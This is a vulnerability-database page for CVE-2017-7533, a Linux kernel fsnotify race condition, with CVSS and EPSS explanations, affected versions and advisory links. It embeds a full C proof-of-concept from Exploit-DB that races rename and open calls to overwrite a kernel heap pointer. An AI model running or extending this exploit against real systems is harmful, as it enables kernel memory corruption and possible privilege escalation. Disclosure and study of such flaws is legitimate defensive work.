CVE-2017-7533 : Detail

CVE-2017-7533

7
/
High
0.05%V3
Local
2017-08-05
14h00 +00:00
2019-06-28
18h06 +00:00
CVE.org
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CVE Descriptions

Race condition in the fsnotify implementation in the Linux kernel through 4.12.4 allows local users to gain privileges or cause a denial of service (memory corruption) via a crafted application that leverages simultaneous execution of the inotify_handle_event and vfs_rename functions.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44302

Publication date : 2017-10-15 22h00 +00:00
Author : Jeremy Huang
EDB Verified : No

/* * * * CVE-2017-7533 inotfiy linux kernel vulnerability. * * $ gcc -o exploit exploit.c -lpthread * $./exploit * * ``` * Listening for events. * Listening for events. * alloc_len : 50 * longname="test_dir/bbbb32103210321032100��1����" * handle_events() event->name : b, event->len : 16 * Detected overwrite!!! * callrename done. * alloc_len : 50 * ``` * This is a heap overflow bug, * tested on the Debian 8 Linux version 3.16.39(amd64) successfully. * * You could modifiy one byte to manipulate rip register, but I do not tried hard to get root. * * Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK university. * ``` * ``` * Jeremy Huang (jeremyhcw@gmail.com) */ //Trigger inotify event by file open and rename to trigger the vulnerability and exploit #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <sys/eventfd.h> #include <sys/inotify.h> #include <sys/mman.h> #include <ctype.h> #include <errno.h> #include <err.h> #include <poll.h> #include <unistd.h> void *callrename( void *ptr ); void *openclose( void *ptr ); pthread_t thread1, thread2; int lastfd; char *space; int original,printed, *int_space; volatile int stop = 0; // Try kmalloc-192 made by cyclic(100) char *orig_name = "f"; // 120 //char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; static void handle_events(int fd, int *wd, int argc, char* argv[]) { /* Some systems cannot read integer variables if they are not properly aligned. On other systems, incorrect alignment may decrease performance. Hence, the buffer used for reading from the inotify file descriptor should have the same alignment as struct inotify_event. */ char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event)))); const struct inotify_event *event; int i; ssize_t len; char *ptr; /* Loop while events can be read from inotify file descriptor. */ for (;;) { /* Read some events. */ len = read(fd, buf, sizeof buf); if (len == -1 && errno != EAGAIN) { perror("read"); exit(EXIT_FAILURE); } /* If the nonblocking read() found no events to read, then it returns -1 with errno set to EAGAIN. In that case, we exit the loop. */ if (len <= 0) break; /* Loop over all events in the buffer */ for (ptr = buf; ptr < buf + len; ptr += sizeof(struct inotify_event) + event->len) { event = (const struct inotify_event *) ptr; /* Print event type */ /* if (event->mask & IN_OPEN) printf("IN_OPEN: "); if (event->mask & IN_CLOSE_NOWRITE) printf("IN_CLOSE_NOWRITE: "); if (event->mask & IN_CLOSE_WRITE) printf("IN_CLOSE_WRITE: "); if (event->mask % IN_ACCESS) printf("IN_ACCESS: "); */ /* Print the name of the watched directory */ for (i = 1; i < argc; ++i) { if (wd[i] == event->wd) { //printf("%s/", argv[i]); break; } } /* Print the name of the file */ if (event->len && strcmp(event->name, orig_name)) { printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len); if ( !strcmp(event->name, "b") && strlen(event->name) == 1) { printf("Detected overwrite!!!\n"); stop = 1; break; } } /* Print type of filesystem object */ /* if (event->mask & IN_ISDIR) printf(" [directory]\n"); else printf(" [file]\n"); */ } } } static void* notify_thread_func(void* arg) { char buf; int fd, i, poll_num; int *wd; nfds_t nfds; struct pollfd fds[2]; int argc = 2; char *argv[] = { NULL, "test_dir", NULL}; /* if (argc < 2) { printf("Usage: %s PATH [PATH ...]\n", argv[0]); exit(EXIT_FAILURE); } */ //printf("Press ENTER key to terminate.\n"); /* Create the file descriptor for accessing the inotify API */ fd = inotify_init1(IN_NONBLOCK); if (fd == -1) { perror("inotify_init1"); exit(EXIT_FAILURE); } /* Allocate memory for watch descriptors */ wd = calloc(argc, sizeof(int)); if (wd == NULL) { perror("calloc"); exit(EXIT_FAILURE); } /* Mark directories for events - file was opened - file was closed */ for (i = 1; i < argc; i++) { wd[i] = inotify_add_watch(fd, argv[i], IN_OPEN | IN_CLOSE| IN_ACCESS); if (wd[i] == -1) { fprintf(stderr, "Cannot watch '%s'\n", argv[i]); perror("inotify_add_watch"); exit(EXIT_FAILURE); } } /* Prepare for polling */ nfds = 2; /* Console input */ fds[0].fd = STDIN_FILENO; fds[0].events = POLLIN; /* Inotify input */ fds[1].fd = fd; fds[1].events = POLLIN; printf("Listening for events.\n"); while (!stop) { poll_num = poll(fds, nfds, -1); if (poll_num == -1) { if (errno == EINTR) continue; perror("poll"); exit(EXIT_FAILURE); } if (poll_num > 0) { if (fds[1].revents & POLLIN) { handle_events(fd, wd, argc, argv); } } } close(fd); free(wd); exit(EXIT_SUCCESS); } void *trigger_rename_open(void* arg) { int iret1, iret2,i; setvbuf(stdout,0,2,0); iret1 = pthread_create( &thread1, NULL, callrename, NULL); if(iret1) { fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1); exit(EXIT_FAILURE); } iret2 = pthread_create( &thread2, NULL, openclose, NULL); if(iret2) { fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2); exit(EXIT_FAILURE); } pthread_join( thread1, NULL); pthread_join( thread2, NULL); exit(EXIT_SUCCESS); } // 250 char *longname_padding = "bbbb3210321032103210"; //char *longname_padding = "bbbb32103210321032103210ABCDEF"; /* rcx : 44434241.. DCDA0123 */ // char *longname_padding = "bbbb3210321032GFEDCBA"; // 31 will crash void *callrename( void *ptr ) { int i,m,k; char enter = 0; char origname[1024]; char longname[1024]; char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff"; char prev_ptr[8] = ""; // This value will overwrite the next (struct fsnotify_event)event->list.next // create shortname being initial name. snprintf(origname, sizeof origname, "test_dir/%s", orig_name); printf("alloc_len : %d\n", 48 + strlen(orig_name)+1); //printf("origname=\"%s\"\n", origname); snprintf(longname, sizeof longname, "test_dir/%s%s%s", longname_padding, next_ptr, prev_ptr); //strcat(longname,space); printf("longname=\"%s\"\n", longname); for (i=0;i<10000 && !stop ;i++) { if (rename(origname,longname)<0) perror("rename1"); if (rename(longname,origname)<0) perror("rename2"); } printf("callrename done.\n"); } void *openclose( void *ptr ) { int j,fd,m,k; char origname[1024]; snprintf(origname, sizeof origname, "test_dir/%s", orig_name); for (j=0;j<8000 && !stop;j++ ) { open(origname,O_RDWR); } printf("alloc_len : %d\n", 48 + strlen(orig_name)+1); } void main(void) { pthread_t notify_thread[4]; pthread_t rename_thread; int i = 0; char buf[1024]; snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name); system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir"); system(buf); for ( i ; i < 2; i++ ) { pthread_create(&notify_thread[i], NULL, notify_thread_func, NULL); } //Trigger inotify event by file open and rename to //trigger the vulnerability pthread_create(&rename_thread, NULL, trigger_rename_open, NULL); pthread_join(rename_thread, NULL); for ( i = 0; i < 2; i++ ) pthread_join(notify_thread[i], NULL); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 3.14 To (excluding) 3.16.47

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.64

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.4.80

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.41

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.12.5

References

http://www.debian.org/security/2017/dsa-3927
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/100123
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2017:2669
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2473
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2585
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3945
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securitytracker.com/id/1039075
Tags : vdb-entry, x_refsource_SECTRACK
https://access.redhat.com/errata/RHSA-2017:2770
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2869
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2019/06/27/7
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2019/06/28/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2019/06/28/2
Tags : mailing-list, x_refsource_MLIST